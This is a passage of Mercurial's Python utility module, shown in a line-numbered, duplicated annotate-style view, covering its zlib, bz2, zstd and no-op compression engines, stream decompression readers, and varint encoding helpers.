3297 return the bytes used to identify chunks compressed with this engine.
3298 Else, the method should return ``None`` to indicate it does not
3298 Else, the method should return ``None`` to indicate it does not
3299 participate in revlog compression.
3299 participate in revlog compression.
3300 """
3300 """
3301 return None
3301 return None
3302
3302
3303 def compressstream(self, it, opts=None):
3303 def compressstream(self, it, opts=None):
3304 """Compress an iterator of chunks.
3304 """Compress an iterator of chunks.
3305
3305
3306 The method receives an iterator (ideally a generator) of chunks of
3306 The method receives an iterator (ideally a generator) of chunks of
3307 bytes to be compressed. It returns an iterator (ideally a generator)
3307 bytes to be compressed. It returns an iterator (ideally a generator)
3308 of bytes of chunks representing the compressed output.
3308 of bytes of chunks representing the compressed output.
3309
3309
3310 Optionally accepts an argument defining how to perform compression.
3310 Optionally accepts an argument defining how to perform compression.
3311 Each engine treats this argument differently.
3311 Each engine treats this argument differently.
3312 """
3312 """
3313 raise NotImplementedError()
3313 raise NotImplementedError()
3314
3314
3315 def decompressorreader(self, fh):
3315 def decompressorreader(self, fh):
3316 """Perform decompression on a file object.
3316 """Perform decompression on a file object.
3317
3317
3318 Argument is an object with a ``read(size)`` method that returns
3318 Argument is an object with a ``read(size)`` method that returns
3319 compressed data. Return value is an object with a ``read(size)`` that
3319 compressed data. Return value is an object with a ``read(size)`` that
3320 returns uncompressed data.
3320 returns uncompressed data.
3321 """
3321 """
3322 raise NotImplementedError()
3322 raise NotImplementedError()
3323
3323
3324 def revlogcompressor(self, opts=None):
3324 def revlogcompressor(self, opts=None):
3325 """Obtain an object that can be used to compress revlog entries.
3325 """Obtain an object that can be used to compress revlog entries.
3326
3326
3327 The object has a ``compress(data)`` method that compresses binary
3327 The object has a ``compress(data)`` method that compresses binary
3328 data. This method returns compressed binary data or ``None`` if
3328 data. This method returns compressed binary data or ``None`` if
3329 the data could not be compressed (too small, not compressible, etc).
3329 the data could not be compressed (too small, not compressible, etc).
3330 The returned data should have a header uniquely identifying this
3330 The returned data should have a header uniquely identifying this
3331 compression format so decompression can be routed to this engine.
3331 compression format so decompression can be routed to this engine.
3332 This header should be identified by the ``revlogheader()`` return
3332 This header should be identified by the ``revlogheader()`` return
3333 value.
3333 value.
3334
3334
3335 The object has a ``decompress(data)`` method that decompresses
3335 The object has a ``decompress(data)`` method that decompresses
3336 data. The method will only be called if ``data`` begins with
3336 data. The method will only be called if ``data`` begins with
3337 ``revlogheader()``. The method should return the raw, uncompressed
3337 ``revlogheader()``. The method should return the raw, uncompressed
3338 data or raise a ``RevlogError``.
3338 data or raise a ``RevlogError``.
3339
3339
3340 The object is reusable but is not thread safe.
3340 The object is reusable but is not thread safe.
3341 """
3341 """
3342 raise NotImplementedError()
3342 raise NotImplementedError()
3343
3343
3344 class _CompressedStreamReader(object):
3344 class _CompressedStreamReader(object):
3345 def __init__(self, fh):
3345 def __init__(self, fh):
3346 if safehasattr(fh, 'unbufferedread'):
3346 if safehasattr(fh, 'unbufferedread'):
3347 self._reader = fh.unbufferedread
3347 self._reader = fh.unbufferedread
3348 else:
3348 else:
3349 self._reader = fh.read
3349 self._reader = fh.read
3350 self._pending = []
3350 self._pending = []
3351 self._pos = 0
3351 self._pos = 0
3352 self._eof = False
3352 self._eof = False
3353
3353
3354 def _decompress(self, chunk):
3354 def _decompress(self, chunk):
3355 raise NotImplementedError()
3355 raise NotImplementedError()
3356
3356
3357 def read(self, l):
3357 def read(self, l):
3358 buf = []
3358 buf = []
3359 while True:
3359 while True:
3360 while self._pending:
3360 while self._pending:
3361 if len(self._pending[0]) > l + self._pos:
3361 if len(self._pending[0]) > l + self._pos:
3362 newbuf = self._pending[0]
3362 newbuf = self._pending[0]
3363 buf.append(newbuf[self._pos:self._pos + l])
3363 buf.append(newbuf[self._pos:self._pos + l])
3364 self._pos += l
3364 self._pos += l
3365 return ''.join(buf)
3365 return ''.join(buf)
3366
3366
3367 newbuf = self._pending.pop(0)
3367 newbuf = self._pending.pop(0)
3368 if self._pos:
3368 if self._pos:
3369 buf.append(newbuf[self._pos:])
3369 buf.append(newbuf[self._pos:])
3370 l -= len(newbuf) - self._pos
3370 l -= len(newbuf) - self._pos
3371 else:
3371 else:
3372 buf.append(newbuf)
3372 buf.append(newbuf)
3373 l -= len(newbuf)
3373 l -= len(newbuf)
3374 self._pos = 0
3374 self._pos = 0
3375
3375
3376 if self._eof:
3376 if self._eof:
3377 return ''.join(buf)
3377 return ''.join(buf)
3378 chunk = self._reader(65536)
3378 chunk = self._reader(65536)
3379 self._decompress(chunk)
3379 self._decompress(chunk)
3380
3380
3381 class _GzipCompressedStreamReader(_CompressedStreamReader):
3381 class _GzipCompressedStreamReader(_CompressedStreamReader):
3382 def __init__(self, fh):
3382 def __init__(self, fh):
3383 super(_GzipCompressedStreamReader, self).__init__(fh)
3383 super(_GzipCompressedStreamReader, self).__init__(fh)
3384 self._decompobj = zlib.decompressobj()
3384 self._decompobj = zlib.decompressobj()
3385 def _decompress(self, chunk):
3385 def _decompress(self, chunk):
3386 newbuf = self._decompobj.decompress(chunk)
3386 newbuf = self._decompobj.decompress(chunk)
3387 if newbuf:
3387 if newbuf:
3388 self._pending.append(newbuf)
3388 self._pending.append(newbuf)
3389 d = self._decompobj.copy()
3389 d = self._decompobj.copy()
3390 try:
3390 try:
3391 d.decompress('x')
3391 d.decompress('x')
3392 d.flush()
3392 d.flush()
3393 if d.unused_data == 'x':
3393 if d.unused_data == 'x':
3394 self._eof = True
3394 self._eof = True
3395 except zlib.error:
3395 except zlib.error:
3396 pass
3396 pass
3397
3397
3398 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3398 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3399 def __init__(self, fh):
3399 def __init__(self, fh):
3400 super(_BZ2CompressedStreamReader, self).__init__(fh)
3400 super(_BZ2CompressedStreamReader, self).__init__(fh)
3401 self._decompobj = bz2.BZ2Decompressor()
3401 self._decompobj = bz2.BZ2Decompressor()
3402 def _decompress(self, chunk):
3402 def _decompress(self, chunk):
3403 newbuf = self._decompobj.decompress(chunk)
3403 newbuf = self._decompobj.decompress(chunk)
3404 if newbuf:
3404 if newbuf:
3405 self._pending.append(newbuf)
3405 self._pending.append(newbuf)
3406 try:
3406 try:
3407 while True:
3407 while True:
3408 newbuf = self._decompobj.decompress('')
3408 newbuf = self._decompobj.decompress('')
3409 if newbuf:
3409 if newbuf:
3410 self._pending.append(newbuf)
3410 self._pending.append(newbuf)
3411 else:
3411 else:
3412 break
3412 break
3413 except EOFError:
3413 except EOFError:
3414 self._eof = True
3414 self._eof = True
3415
3415
3416 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3416 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3417 def __init__(self, fh):
3417 def __init__(self, fh):
3418 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3418 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3419 newbuf = self._decompobj.decompress('BZ')
3419 newbuf = self._decompobj.decompress('BZ')
3420 if newbuf:
3420 if newbuf:
3421 self._pending.append(newbuf)
3421 self._pending.append(newbuf)
3422
3422
3423 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3423 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3424 def __init__(self, fh, zstd):
3424 def __init__(self, fh, zstd):
3425 super(_ZstdCompressedStreamReader, self).__init__(fh)
3425 super(_ZstdCompressedStreamReader, self).__init__(fh)
3426 self._zstd = zstd
3426 self._zstd = zstd
3427 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3427 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3428 def _decompress(self, chunk):
3428 def _decompress(self, chunk):
3429 newbuf = self._decompobj.decompress(chunk)
3429 newbuf = self._decompobj.decompress(chunk)
3430 if newbuf:
3430 if newbuf:
3431 self._pending.append(newbuf)
3431 self._pending.append(newbuf)
3432 try:
3432 try:
3433 while True:
3433 while True:
3434 newbuf = self._decompobj.decompress('')
3434 newbuf = self._decompobj.decompress('')
3435 if newbuf:
3435 if newbuf:
3436 self._pending.append(newbuf)
3436 self._pending.append(newbuf)
3437 else:
3437 else:
3438 break
3438 break
3439 except self._zstd.ZstdError:
3439 except self._zstd.ZstdError:
3440 self._eof = True
3440 self._eof = True
3441
3441
3442 class _zlibengine(compressionengine):
3442 class _zlibengine(compressionengine):
3443 def name(self):
3443 def name(self):
3444 return 'zlib'
3444 return 'zlib'
3445
3445
3446 def bundletype(self):
3446 def bundletype(self):
3447 """zlib compression using the DEFLATE algorithm.
3447 """zlib compression using the DEFLATE algorithm.
3448
3448
3449 All Mercurial clients should support this format. The compression
3449 All Mercurial clients should support this format. The compression
3450 algorithm strikes a reasonable balance between compression ratio
3450 algorithm strikes a reasonable balance between compression ratio
3451 and size.
3451 and size.
3452 """
3452 """
3453 return 'gzip', 'GZ'
3453 return 'gzip', 'GZ'
3454
3454
3455 def wireprotosupport(self):
3455 def wireprotosupport(self):
3456 return compewireprotosupport('zlib', 20, 20)
3456 return compewireprotosupport('zlib', 20, 20)
3457
3457
3458 def revlogheader(self):
3458 def revlogheader(self):
3459 return 'x'
3459 return 'x'
3460
3460
3461 def compressstream(self, it, opts=None):
3461 def compressstream(self, it, opts=None):
3462 opts = opts or {}
3462 opts = opts or {}
3463
3463
3464 z = zlib.compressobj(opts.get('level', -1))
3464 z = zlib.compressobj(opts.get('level', -1))
3465 for chunk in it:
3465 for chunk in it:
3466 data = z.compress(chunk)
3466 data = z.compress(chunk)
3467 # Not all calls to compress emit data. It is cheaper to inspect
3467 # Not all calls to compress emit data. It is cheaper to inspect
3468 # here than to feed empty chunks through generator.
3468 # here than to feed empty chunks through generator.
3469 if data:
3469 if data:
3470 yield data
3470 yield data
3471
3471
3472 yield z.flush()
3472 yield z.flush()
3473
3473
3474 def decompressorreader(self, fh):
3474 def decompressorreader(self, fh):
3475 return _GzipCompressedStreamReader(fh)
3475 return _GzipCompressedStreamReader(fh)
3476
3476
3477 class zlibrevlogcompressor(object):
3477 class zlibrevlogcompressor(object):
3478 def compress(self, data):
3478 def compress(self, data):
3479 insize = len(data)
3479 insize = len(data)
3480 # Caller handles empty input case.
3480 # Caller handles empty input case.
3481 assert insize > 0
3481 assert insize > 0
3482
3482
3483 if insize < 44:
3483 if insize < 44:
3484 return None
3484 return None
3485
3485
3486 elif insize <= 1000000:
3486 elif insize <= 1000000:
3487 compressed = zlib.compress(data)
3487 compressed = zlib.compress(data)
3488 if len(compressed) < insize:
3488 if len(compressed) < insize:
3489 return compressed
3489 return compressed
3490 return None
3490 return None
3491
3491
3492 # zlib makes an internal copy of the input buffer, doubling
3492 # zlib makes an internal copy of the input buffer, doubling
3493 # memory usage for large inputs. So do streaming compression
3493 # memory usage for large inputs. So do streaming compression
3494 # on large inputs.
3494 # on large inputs.
3495 else:
3495 else:
3496 z = zlib.compressobj()
3496 z = zlib.compressobj()
3497 parts = []
3497 parts = []
3498 pos = 0
3498 pos = 0
3499 while pos < insize:
3499 while pos < insize:
3500 pos2 = pos + 2**20
3500 pos2 = pos + 2**20
3501 parts.append(z.compress(data[pos:pos2]))
3501 parts.append(z.compress(data[pos:pos2]))
3502 pos = pos2
3502 pos = pos2
3503 parts.append(z.flush())
3503 parts.append(z.flush())
3504
3504
3505 if sum(map(len, parts)) < insize:
3505 if sum(map(len, parts)) < insize:
3506 return ''.join(parts)
3506 return ''.join(parts)
3507 return None
3507 return None
3508
3508
3509 def decompress(self, data):
3509 def decompress(self, data):
3510 try:
3510 try:
3511 return zlib.decompress(data)
3511 return zlib.decompress(data)
3512 except zlib.error as e:
3512 except zlib.error as e:
3513 raise error.RevlogError(_('revlog decompress error: %s') %
3513 raise error.RevlogError(_('revlog decompress error: %s') %
3514 stringutil.forcebytestr(e))
3514 stringutil.forcebytestr(e))
3515
3515
3516 def revlogcompressor(self, opts=None):
3516 def revlogcompressor(self, opts=None):
3517 return self.zlibrevlogcompressor()
3517 return self.zlibrevlogcompressor()
3518
3518
3519 compengines.register(_zlibengine())
3519 compengines.register(_zlibengine())
3520
3520
3521 class _bz2engine(compressionengine):
3521 class _bz2engine(compressionengine):
3522 def name(self):
3522 def name(self):
3523 return 'bz2'
3523 return 'bz2'
3524
3524
3525 def bundletype(self):
3525 def bundletype(self):
3526 """An algorithm that produces smaller bundles than ``gzip``.
3526 """An algorithm that produces smaller bundles than ``gzip``.
3527
3527
3528 All Mercurial clients should support this format.
3528 All Mercurial clients should support this format.
3529
3529
3530 This engine will likely produce smaller bundles than ``gzip`` but
3530 This engine will likely produce smaller bundles than ``gzip`` but
3531 will be significantly slower, both during compression and
3531 will be significantly slower, both during compression and
3532 decompression.
3532 decompression.
3533
3533
3534 If available, the ``zstd`` engine can yield similar or better
3534 If available, the ``zstd`` engine can yield similar or better
3535 compression at much higher speeds.
3535 compression at much higher speeds.
3536 """
3536 """
3537 return 'bzip2', 'BZ'
3537 return 'bzip2', 'BZ'
3538
3538
3539 # We declare a protocol name but don't advertise by default because
3539 # We declare a protocol name but don't advertise by default because
3540 # it is slow.
3540 # it is slow.
3541 def wireprotosupport(self):
3541 def wireprotosupport(self):
3542 return compewireprotosupport('bzip2', 0, 0)
3542 return compewireprotosupport('bzip2', 0, 0)
3543
3543
3544 def compressstream(self, it, opts=None):
3544 def compressstream(self, it, opts=None):
3545 opts = opts or {}
3545 opts = opts or {}
3546 z = bz2.BZ2Compressor(opts.get('level', 9))
3546 z = bz2.BZ2Compressor(opts.get('level', 9))
3547 for chunk in it:
3547 for chunk in it:
3548 data = z.compress(chunk)
3548 data = z.compress(chunk)
3549 if data:
3549 if data:
3550 yield data
3550 yield data
3551
3551
3552 yield z.flush()
3552 yield z.flush()
3553
3553
3554 def decompressorreader(self, fh):
3554 def decompressorreader(self, fh):
3555 return _BZ2CompressedStreamReader(fh)
3555 return _BZ2CompressedStreamReader(fh)
3556
3556
3557 compengines.register(_bz2engine())
3557 compengines.register(_bz2engine())
3558
3558
3559 class _truncatedbz2engine(compressionengine):
3559 class _truncatedbz2engine(compressionengine):
3560 def name(self):
3560 def name(self):
3561 return 'bz2truncated'
3561 return 'bz2truncated'
3562
3562
3563 def bundletype(self):
3563 def bundletype(self):
3564 return None, '_truncatedBZ'
3564 return None, '_truncatedBZ'
3565
3565
3566 # We don't implement compressstream because it is hackily handled elsewhere.
3566 # We don't implement compressstream because it is hackily handled elsewhere.
3567
3567
3568 def decompressorreader(self, fh):
3568 def decompressorreader(self, fh):
3569 return _TruncatedBZ2CompressedStreamReader(fh)
3569 return _TruncatedBZ2CompressedStreamReader(fh)
3570
3570
3571 compengines.register(_truncatedbz2engine())
3571 compengines.register(_truncatedbz2engine())
3572
3572
3573 class _noopengine(compressionengine):
3573 class _noopengine(compressionengine):
3574 def name(self):
3574 def name(self):
3575 return 'none'
3575 return 'none'
3576
3576
3577 def bundletype(self):
3577 def bundletype(self):
3578 """No compression is performed.
3578 """No compression is performed.
3579
3579
3580 Use this compression engine to explicitly disable compression.
3580 Use this compression engine to explicitly disable compression.
3581 """
3581 """
3582 return 'none', 'UN'
3582 return 'none', 'UN'
3583
3583
3584 # Clients always support uncompressed payloads. Servers don't because
3584 # Clients always support uncompressed payloads. Servers don't because
3585 # unless you are on a fast network, uncompressed payloads can easily
3585 # unless you are on a fast network, uncompressed payloads can easily
3586 # saturate your network pipe.
3586 # saturate your network pipe.
3587 def wireprotosupport(self):
3587 def wireprotosupport(self):
3588 return compewireprotosupport('none', 0, 10)
3588 return compewireprotosupport('none', 0, 10)
3589
3589
3590 # We don't implement revlogheader because it is handled specially
3590 # We don't implement revlogheader because it is handled specially
3591 # in the revlog class.
3591 # in the revlog class.
3592
3592
3593 def compressstream(self, it, opts=None):
3593 def compressstream(self, it, opts=None):
3594 return it
3594 return it
3595
3595
3596 def decompressorreader(self, fh):
3596 def decompressorreader(self, fh):
3597 return fh
3597 return fh
3598
3598
3599 class nooprevlogcompressor(object):
3599 class nooprevlogcompressor(object):
3600 def compress(self, data):
3600 def compress(self, data):
3601 return None
3601 return None
3602
3602
3603 def revlogcompressor(self, opts=None):
3603 def revlogcompressor(self, opts=None):
3604 return self.nooprevlogcompressor()
3604 return self.nooprevlogcompressor()
3605
3605
3606 compengines.register(_noopengine())
3606 compengines.register(_noopengine())
3607
3607
3608 class _zstdengine(compressionengine):
3608 class _zstdengine(compressionengine):
3609 def name(self):
3609 def name(self):
3610 return 'zstd'
3610 return 'zstd'
3611
3611
3612 @propertycache
3612 @propertycache
3613 def _module(self):
3613 def _module(self):
3614 # Not all installs have the zstd module available. So defer importing
3614 # Not all installs have the zstd module available. So defer importing
3615 # until first access.
3615 # until first access.
3616 try:
3616 try:
3617 from . import zstd
3617 from . import zstd
3618 # Force delayed import.
3618 # Force delayed import.
3619 zstd.__version__
3619 zstd.__version__
3620 return zstd
3620 return zstd
3621 except ImportError:
3621 except ImportError:
3622 return None
3622 return None
3623
3623
3624 def available(self):
3624 def available(self):
3625 return bool(self._module)
3625 return bool(self._module)
3626
3626
3627 def bundletype(self):
3627 def bundletype(self):
3628 """A modern compression algorithm that is fast and highly flexible.
3628 """A modern compression algorithm that is fast and highly flexible.
3629
3629
3630 Only supported by Mercurial 4.1 and newer clients.
3630 Only supported by Mercurial 4.1 and newer clients.
3631
3631
3632 With the default settings, zstd compression is both faster and yields
3632 With the default settings, zstd compression is both faster and yields
3633 better compression than ``gzip``. It also frequently yields better
3633 better compression than ``gzip``. It also frequently yields better
3634 compression than ``bzip2`` while operating at much higher speeds.
3634 compression than ``bzip2`` while operating at much higher speeds.
3635
3635
3636 If this engine is available and backwards compatibility is not a
3636 If this engine is available and backwards compatibility is not a
3637 concern, it is likely the best available engine.
3637 concern, it is likely the best available engine.
3638 """
3638 """
3639 return 'zstd', 'ZS'
3639 return 'zstd', 'ZS'
3640
3640
3641 def wireprotosupport(self):
3641 def wireprotosupport(self):
3642 return compewireprotosupport('zstd', 50, 50)
3642 return compewireprotosupport('zstd', 50, 50)
3643
3643
3644 def revlogheader(self):
3644 def revlogheader(self):
3645 return '\x28'
3645 return '\x28'
3646
3646
3647 def compressstream(self, it, opts=None):
3647 def compressstream(self, it, opts=None):
3648 opts = opts or {}
3648 opts = opts or {}
3649 # zstd level 3 is almost always significantly faster than zlib
3649 # zstd level 3 is almost always significantly faster than zlib
3650 # while providing no worse compression. It strikes a good balance
3650 # while providing no worse compression. It strikes a good balance
3651 # between speed and compression.
3651 # between speed and compression.
3652 level = opts.get('level', 3)
3652 level = opts.get('level', 3)
3653
3653
3654 zstd = self._module
3654 zstd = self._module
3655 z = zstd.ZstdCompressor(level=level).compressobj()
3655 z = zstd.ZstdCompressor(level=level).compressobj()
3656 for chunk in it:
3656 for chunk in it:
3657 data = z.compress(chunk)
3657 data = z.compress(chunk)
3658 if data:
3658 if data:
3659 yield data
3659 yield data
3660
3660
3661 yield z.flush()
3661 yield z.flush()
3662
3662
3663 def decompressorreader(self, fh):
3663 def decompressorreader(self, fh):
3664 return _ZstdCompressedStreamReader(fh, self._module)
3664 return _ZstdCompressedStreamReader(fh, self._module)
3665
3665
3666 class zstdrevlogcompressor(object):
3666 class zstdrevlogcompressor(object):
3667 def __init__(self, zstd, level=3):
3667 def __init__(self, zstd, level=3):
3668 # TODO consider omitting frame magic to save 4 bytes.
3668 # TODO consider omitting frame magic to save 4 bytes.
3669 # This writes content sizes into the frame header. That is
3669 # This writes content sizes into the frame header. That is
3670 # extra storage. But it allows a correct size memory allocation
3670 # extra storage. But it allows a correct size memory allocation
3671 # to hold the result.
3671 # to hold the result.
3672 self._cctx = zstd.ZstdCompressor(level=level)
3672 self._cctx = zstd.ZstdCompressor(level=level)
3673 self._dctx = zstd.ZstdDecompressor()
3673 self._dctx = zstd.ZstdDecompressor()
3674 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3674 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3675 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3675 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3676
3676
3677 def compress(self, data):
3677 def compress(self, data):
3678 insize = len(data)
3678 insize = len(data)
3679 # Caller handles empty input case.
3679 # Caller handles empty input case.
3680 assert insize > 0
3680 assert insize > 0
3681
3681
3682 if insize < 50:
3682 if insize < 50:
3683 return None
3683 return None
3684
3684
3685 elif insize <= 1000000:
3685 elif insize <= 1000000:
3686 compressed = self._cctx.compress(data)
3686 compressed = self._cctx.compress(data)
3687 if len(compressed) < insize:
3687 if len(compressed) < insize:
3688 return compressed
3688 return compressed
3689 return None
3689 return None
3690 else:
3690 else:
3691 z = self._cctx.compressobj()
3691 z = self._cctx.compressobj()
3692 chunks = []
3692 chunks = []
3693 pos = 0
3693 pos = 0
3694 while pos < insize:
3694 while pos < insize:
3695 pos2 = pos + self._compinsize
3695 pos2 = pos + self._compinsize
3696 chunk = z.compress(data[pos:pos2])
3696 chunk = z.compress(data[pos:pos2])
3697 if chunk:
3697 if chunk:
3698 chunks.append(chunk)
3698 chunks.append(chunk)
3699 pos = pos2
3699 pos = pos2
3700 chunks.append(z.flush())
3700 chunks.append(z.flush())
3701
3701
3702 if sum(map(len, chunks)) < insize:
3702 if sum(map(len, chunks)) < insize:
3703 return ''.join(chunks)
3703 return ''.join(chunks)
3704 return None
3704 return None
3705
3705
3706 def decompress(self, data):
3706 def decompress(self, data):
3707 insize = len(data)
3707 insize = len(data)
3708
3708
3709 try:
3709 try:
3710 # This was measured to be faster than other streaming
3710 # This was measured to be faster than other streaming
3711 # decompressors.
3711 # decompressors.
3712 dobj = self._dctx.decompressobj()
3712 dobj = self._dctx.decompressobj()
3713 chunks = []
3713 chunks = []
3714 pos = 0
3714 pos = 0
3715 while pos < insize:
3715 while pos < insize:
3716 pos2 = pos + self._decompinsize
3716 pos2 = pos + self._decompinsize
3717 chunk = dobj.decompress(data[pos:pos2])
3717 chunk = dobj.decompress(data[pos:pos2])
3718 if chunk:
3718 if chunk:
3719 chunks.append(chunk)
3719 chunks.append(chunk)
3720 pos = pos2
3720 pos = pos2
3721 # Frame should be exhausted, so no finish() API.
3721 # Frame should be exhausted, so no finish() API.
3722
3722
3723 return ''.join(chunks)
3723 return ''.join(chunks)
3724 except Exception as e:
3724 except Exception as e:
3725 raise error.RevlogError(_('revlog decompress error: %s') %
3725 raise error.RevlogError(_('revlog decompress error: %s') %
3726 stringutil.forcebytestr(e))
3726 stringutil.forcebytestr(e))
3727
3727
3728 def revlogcompressor(self, opts=None):
3728 def revlogcompressor(self, opts=None):
3729 opts = opts or {}
3729 opts = opts or {}
3730 return self.zstdrevlogcompressor(self._module,
3730 return self.zstdrevlogcompressor(self._module,
3731 level=opts.get('level', 3))
3731 level=opts.get('level', 3))
3732
3732
3733 compengines.register(_zstdengine())
3733 compengines.register(_zstdengine())
3734
3734
3735 def bundlecompressiontopics():
3735 def bundlecompressiontopics():
3736 """Obtains a list of available bundle compressions for use in help."""
3736 """Obtains a list of available bundle compressions for use in help."""
3737 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3737 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3738 items = {}
3738 items = {}
3739
3739
3740 # We need to format the docstring. So use a dummy object/type to hold it
3740 # We need to format the docstring. So use a dummy object/type to hold it
3741 # rather than mutating the original.
3741 # rather than mutating the original.
3742 class docobject(object):
3742 class docobject(object):
3743 pass
3743 pass
3744
3744
3745 for name in compengines:
3745 for name in compengines:
3746 engine = compengines[name]
3746 engine = compengines[name]
3747
3747
3748 if not engine.available():
3748 if not engine.available():
3749 continue
3749 continue
3750
3750
3751 bt = engine.bundletype()
3751 bt = engine.bundletype()
3752 if not bt or not bt[0]:
3752 if not bt or not bt[0]:
3753 continue
3753 continue
3754
3754
3755 doc = pycompat.sysstr('``%s``\n %s') % (
3755 doc = pycompat.sysstr('``%s``\n %s') % (
3756 bt[0], engine.bundletype.__doc__)
3756 bt[0], engine.bundletype.__doc__)
3757
3757
3758 value = docobject()
3758 value = docobject()
3759 value.__doc__ = doc
3759 value.__doc__ = doc
3760 value._origdoc = engine.bundletype.__doc__
3760 value._origdoc = engine.bundletype.__doc__
3761 value._origfunc = engine.bundletype
3761 value._origfunc = engine.bundletype
3762
3762
3763 items[bt[0]] = value
3763 items[bt[0]] = value
3764
3764
3765 return items
3765 return items
3766
3766
3767 i18nfunctions = bundlecompressiontopics().values()
3767 i18nfunctions = bundlecompressiontopics().values()
3768
3768
3769 # convenient shortcut
3769 # convenient shortcut
3770 dst = debugstacktrace
3770 dst = debugstacktrace
3771
3771
3772 def safename(f, tag, ctx, others=None):
3772 def safename(f, tag, ctx, others=None):
3773 """
3773 """
3774 Generate a name that it is safe to rename f to in the given context.
3774 Generate a name that it is safe to rename f to in the given context.
3775
3775
3776 f: filename to rename
3776 f: filename to rename
3777 tag: a string tag that will be included in the new name
3777 tag: a string tag that will be included in the new name
3778 ctx: a context, in which the new name must not exist
3778 ctx: a context, in which the new name must not exist
3779 others: a set of other filenames that the new name must not be in
3779 others: a set of other filenames that the new name must not be in
3780
3780
3781 Returns a file name of the form oldname~tag[~number] which does not exist
3781 Returns a file name of the form oldname~tag[~number] which does not exist
3782 in the provided context and is not in the set of other names.
3782 in the provided context and is not in the set of other names.
3783 """
3783 """
3784 if others is None:
3784 if others is None:
3785 others = set()
3785 others = set()
3786
3786
3787 fn = '%s~%s' % (f, tag)
3787 fn = '%s~%s' % (f, tag)
3788 if fn not in ctx and fn not in others:
3788 if fn not in ctx and fn not in others:
3789 return fn
3789 return fn
3790 for n in itertools.count(1):
3790 for n in itertools.count(1):
3791 fn = '%s~%s~%s' % (f, tag, n)
3791 fn = '%s~%s~%s' % (f, tag, n)
3792 if fn not in ctx and fn not in others:
3792 if fn not in ctx and fn not in others:
3793 return fn
3793 return fn
3794
3794
3795 def readexactly(stream, n):
3795 def readexactly(stream, n):
3796 '''read n bytes from stream.read and abort if less was available'''
3796 '''read n bytes from stream.read and abort if less was available'''
3797 s = stream.read(n)
3797 s = stream.read(n)
3798 if len(s) < n:
3798 if len(s) < n:
3799 raise error.Abort(_("stream ended unexpectedly"
3799 raise error.Abort(_("stream ended unexpectedly"
3800 " (got %d bytes, expected %d)")
3800 " (got %d bytes, expected %d)")
3801 % (len(s), n))
3801 % (len(s), n))
3802 return s
3802 return s
3803
3803
3804 def uvarintencode(value):
3804 def uvarintencode(value):
3805 """Encode an unsigned integer value to a varint.
3805 """Encode an unsigned integer value to a varint.
3806
3806
3807 A varint is a variable length integer of 1 or more bytes. Each byte
3807 A varint is a variable length integer of 1 or more bytes. Each byte
3808 except the last has the most significant bit set. The lower 7 bits of
3808 except the last has the most significant bit set. The lower 7 bits of
3809 each byte store the 2's complement representation, least significant group
3809 each byte store the 2's complement representation, least significant group
3810 first.
3810 first.
3811
3811
3812 >>> uvarintencode(0)
3812 >>> uvarintencode(0)
3813 '\\x00'
3813 '\\x00'
3814 >>> uvarintencode(1)
3814 >>> uvarintencode(1)
3815 '\\x01'
3815 '\\x01'
3816 >>> uvarintencode(127)
3816 >>> uvarintencode(127)
3817 '\\x7f'
3817 '\\x7f'
3818 >>> uvarintencode(1337)
3818 >>> uvarintencode(1337)
3819 '\\xb9\\n'
3819 '\\xb9\\n'
3820 >>> uvarintencode(65536)
3820 >>> uvarintencode(65536)
3821 '\\x80\\x80\\x04'
3821 '\\x80\\x80\\x04'
3822 >>> uvarintencode(-1)
3822 >>> uvarintencode(-1)
3823 Traceback (most recent call last):
3823 Traceback (most recent call last):
3824 ...
3824 ...
3825 ProgrammingError: negative value for uvarint: -1
3825 ProgrammingError: negative value for uvarint: -1
3826 """
3826 """
3827 if value < 0:
3827 if value < 0:
3828 raise error.ProgrammingError('negative value for uvarint: %d'
3828 raise error.ProgrammingError('negative value for uvarint: %d'
3829 % value)
3829 % value)
3830 bits = value & 0x7f
3830 bits = value & 0x7f
3831 value >>= 7
3831 value >>= 7
3832 bytes = []
3832 bytes = []
3833 while value:
3833 while value:
3834 bytes.append(pycompat.bytechr(0x80 | bits))
3834 bytes.append(pycompat.bytechr(0x80 | bits))
3835 bits = value & 0x7f
3835 bits = value & 0x7f
3836 value >>= 7
3836 value >>= 7
3837 bytes.append(pycompat.bytechr(bits))
3837 bytes.append(pycompat.bytechr(bits))
3838
3838
3839 return ''.join(bytes)
3839 return ''.join(bytes)
3840
3840
3841 def uvarintdecodestream(fh):
3841 def uvarintdecodestream(fh):
3842 """Decode an unsigned variable length integer from a stream.
3842 """Decode an unsigned variable length integer from a stream.
3843
3843
3844 The passed argument is anything that has a ``.read(N)`` method.
3844 The passed argument is anything that has a ``.read(N)`` method.
3845
3845
3846 >>> try:
3846 >>> try:
3847 ... from StringIO import StringIO as BytesIO
3847 ... from StringIO import StringIO as BytesIO
3848 ... except ImportError:
3848 ... except ImportError:
3849 ... from io import BytesIO
3849 ... from io import BytesIO
3850 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3850 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3851 0
3851 0
3852 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3852 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3853 1
3853 1
3854 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3854 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3855 127
3855 127
3856 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3856 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3857 1337
3857 1337
3858 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3858 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3859 65536
3859 65536
